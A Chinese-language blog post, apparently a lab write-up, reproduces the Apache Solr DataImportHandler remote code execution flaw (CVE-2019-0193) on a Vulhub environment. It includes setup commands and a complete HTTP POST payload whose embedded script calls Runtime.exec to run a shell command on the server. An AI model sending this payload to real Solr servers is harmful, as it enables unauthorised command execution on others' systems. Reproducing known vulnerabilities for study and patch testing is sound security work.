Apache Solr远程代码执行(CVE-2019-0193)漏洞复现

Solr简介:

Apache Solr 是一个开源的企业级搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache Solr 中存储的资源是以 Document 为对象进行存储的。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞概述:

此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行。

影响范围:

Apache Solr <8.2.0

复现

1、环境搭建:

使用Vulhub,简单方便

创建Core

docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db

2、复现

访问

IP:8983/solr/admin/cores

Payload需要这个name字段

检测是否有DataImportHandler模块

http://IP:8983/solr/test_0nth3way/admin/mbeans?cat=QUERY&wt=json

org.apache.solr.handler.dataimport.DataImportHandler就说明有DataImportHandler模块

Payload

将<your_core_name>改为上面所说的name字段,IP改为服务器IP

POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: IP:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("touch /var/solr/data/test_0nth3way/data/test");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

使用Burp发包

image-20210414215059642

image-20210414215225303

文章作者: Sugarbeet
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sugarbeet's Blog
学习 潜心
喜欢就支持一下吧